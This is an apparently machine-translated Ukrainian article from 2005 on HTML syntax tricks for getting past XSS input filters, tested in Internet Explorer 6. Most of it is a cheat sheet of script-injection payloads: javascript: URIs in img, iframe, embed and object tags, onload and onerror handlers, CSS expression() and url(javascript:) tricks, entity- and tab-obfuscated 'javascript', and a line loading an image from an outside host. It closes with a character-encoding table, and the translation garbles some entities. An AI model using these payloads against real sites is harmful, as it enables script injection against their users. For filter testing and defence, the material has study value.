Особливості синтаксису HTML
Творці: Algol, zFailure - останні зміни 13.06.2005
Один з основних методів охорони сайтів від XSS-вразливостей - це використання різних фільтрів на запроваджувані користувачем символи. У цій замітці описані особливості синтаксису HTML, що дозволяють обходити дані фільтри.
Слід зазначити, що XSS уразливості є браузер-залежними. Всі наведені нижче приклади тестувалися в IE6. В інших версіях або в інших браузерах, приклади можуть теж не працювати. Наприклад символ зворотного апострофа ( `) є обмежувачем атрибутів тільки в IE. Інші браузери, такі як Opera наприклад, ніяк не вважають цей символ огрнічітелем.
Крім пробілу, дозволено використовувати символи: слеш (/), табуляцію, переклад рядка. Роздільник дозволено опустити, якщо попередній приналежність укладений в лапки.
<Image / src = "1.png" / alt = "Підказка" / border = "0"> <Image src = "1.png" alt = "Підказка" border = "0"> <image src = "1.png" alt = "Підказка" border = "0"> <Image src = "1.png" alt = "Підказка" border = "0">
Значення дозволено брати в лапки (подвійні також одинарні) також в апострофи, тільки дозволено загальний ніяк не обмежувати.
<Image src = "" alt = "Моя підказка" border = "0"> <Image src = "" alt = 'Моя підказка' border = "0"> <Image src = "" alt = `Моя подсказка` border =" 0 "> <Image src = "" alt = Підказка border = "0">
Розшифровка символів в скрипті виникає до його виконання:
<Img src = javascript: alert (& quot; ok & quot;)> <Img src = javascript: alert (& # 039; ok & # 039;)> <Img src = & # 106 & # 97 & # 118 & # 97 & # 115 & # 99 & # 114 & # 105 & # 112 & # 116 & # 58 & # 97 & # 108 & # 101 & # 114 & # 116 & # 40 & # 39 & # 111 & # 107 & # 39 & # 41> <a href=javascript:alert(%22ok%22)> click me </a> (тільки в атрибуті href)
<Img src = javascript: alert ( 'ok')> <Img src = javascript: alert ( "ok")> <Img src = javascript: a = / ok /; alert (a.source)> <Img src = javascript: alert (String.fromCharCode (111,107))>
<img src = javascript: i = new / ** / Image (); i.src = 'http: //bla.bla'> (заміна пробілу на / ** /)
Кілька способів автоматичного запуску скриптів:
<Script> alert ( 'ok') </ script> <Script src = 1.js> </ script> <Body onLoad = alert ( 'ok')> <Meta http-equiv = Refresh content = 0; url = javascript: alert ( 'ok')> <Image src = 1.png onload = alert ( 'ok')> <Image src = javascript: alert ( 'ok')> <Image src = "" onerror = alert ( 'ok')> <Hr style = background: url (javascript: alert ( 'ok'))> <Span style = top: expression (alert ( 'ok'))> </ span> <span sss = "alert (); this.sss = null" style = top: expression (eval (this.sss));> </ span> (спрацьовує тільки один раз) <style type = "text / css"> @import url (javascript: alert ( 'ok')); </ style> <Object classid = clsid: ae24fdae-03c6-11d1-8b76-0080c744f389> <param name = url value = javascript: alert ( 'ok')> </ object> <Embed src = javascript: alert ( 'ok'); this.avi> <Embed src = javascript: alert ( 'ok'); this.wav> <iframe src = javascript: alert ( 'ok')> (тільки в IE) <a href=javascript:alert(%22ok%22)> click me </a> (запуск тільки при кліці по посиланню) <a href = javascript: alert ( 'aaa' + eval ( 'alert (); i = 2 + 2') + 'bbb')> click me </a> (запуск тільки при кліці по посиланню) <br SIZE = "& {alert ( 'XSS')} "> (тільки Netscape 4.x)
<Img src = javascript: alert ()> <Img src = vbscript: AleRt ()> <Img src = JaVasCriPt: alert ()> <img src = "javascript: alert ()"> (прогалини аж до слова javascript) <Img src = & # 106 & # 97 & # 118 & # 97 & # 115 & # 99 & # 114 & # 105 & # 112 & # 116: alert ()> <Img src = javascript & # 9: alert ()> <Img src = javascript & # 10: alert ()> <Img src = javascript & # 13: alert ()> <Img src = "javascript : alert () "> (перед двокрапкою - табуляція) <Img src = "java scri pt: ale rt () "> (всередині слова javascript - символ табуляції також повернення каретки)
Оператори скрипта в атрибуті style потрібно ділити "\;".
<Hr style = `background: url (javascript: alert ( 'ok 1') \; alert ( 'ok 2'))`>
<image src = "1.png" alt = "" border = "0"> (тег img також image працюють однаково) <plaintext> (всі, що стане рухатися пізніше цього тега, стане сприйматися як звичайний текст - не HTML) <textarea> (всі, що стане рухатися пізніше цього тега, стане сприйматися як звичайний текст - не HTML) <xml> (всі, що стане рухатися пізніше цього тега, ніяк не стане відображатися)
символ | десяткова кодування | 16-а кодування * | символьна кодування | URL-кодування |
" | & # 34 | & # X22; | & quot | % 22 |
' | & # 39 | & # X27; | % 27 | |
` | & # 96 | & # X60; | % 60 | |
<Пробіл> | & # 32 | & # X20; | + | |
<Табуляція> | & # 9 | & # X09; | % 09 | |
<Повернення каретки> | & # 13 | & # X0D; | % 0D | |
= | & # 61 | & # X3D; | % 3D | |
< | & # 60 | & # X3C; | & lt | % 3C |
> | & # 62 | & # X3E; | & gt | % 3E |
\ | & # 92 | & # X5C; | % 5C | |
% | & # 37 | & # X25; | % 25 | |
+ | & # 43 | & # X2B; | % 2B | |
<Короткий дефіс> | & # 173 | & # XAD; | & shy | % AD |
& | & # 38 | & # X26; | & amp | % 26 |
* -в деяких випадках крапку з комою можна опустити (якщо символ стоїть в кінці рядка, або поспіль йдуть кілька символів в цьому кодуванні).
Див. Схоже: http://ha.ckers.org/xss.html
Сподобалося? Підпишись на RSS новини!
Ви також можете підтримати shram.kiev.ua, тисніть:
Ви також можете підтримати shram.kiev.ua, тисніть:
Не зайвим буде і твоїм друзям дізнатися цю інформацію, поділися з ними статтею!
Коментарі
Коментуючи, пам'ятайте про те, що зміст і тон Вашого повідомлення можуть зачіпати почуття реальних людей, проявляйте повагу та толерантність до своїх співрозмовників навіть у тому випадку, якщо Ви не поділяєте їхню думку, Ваша поведінка за умов свободи висловлювань та анонімності, наданих інтернетом, змінює не тільки віртуальний, але й реальний світ. Всі коменти приховані з індексу, спам контролюється.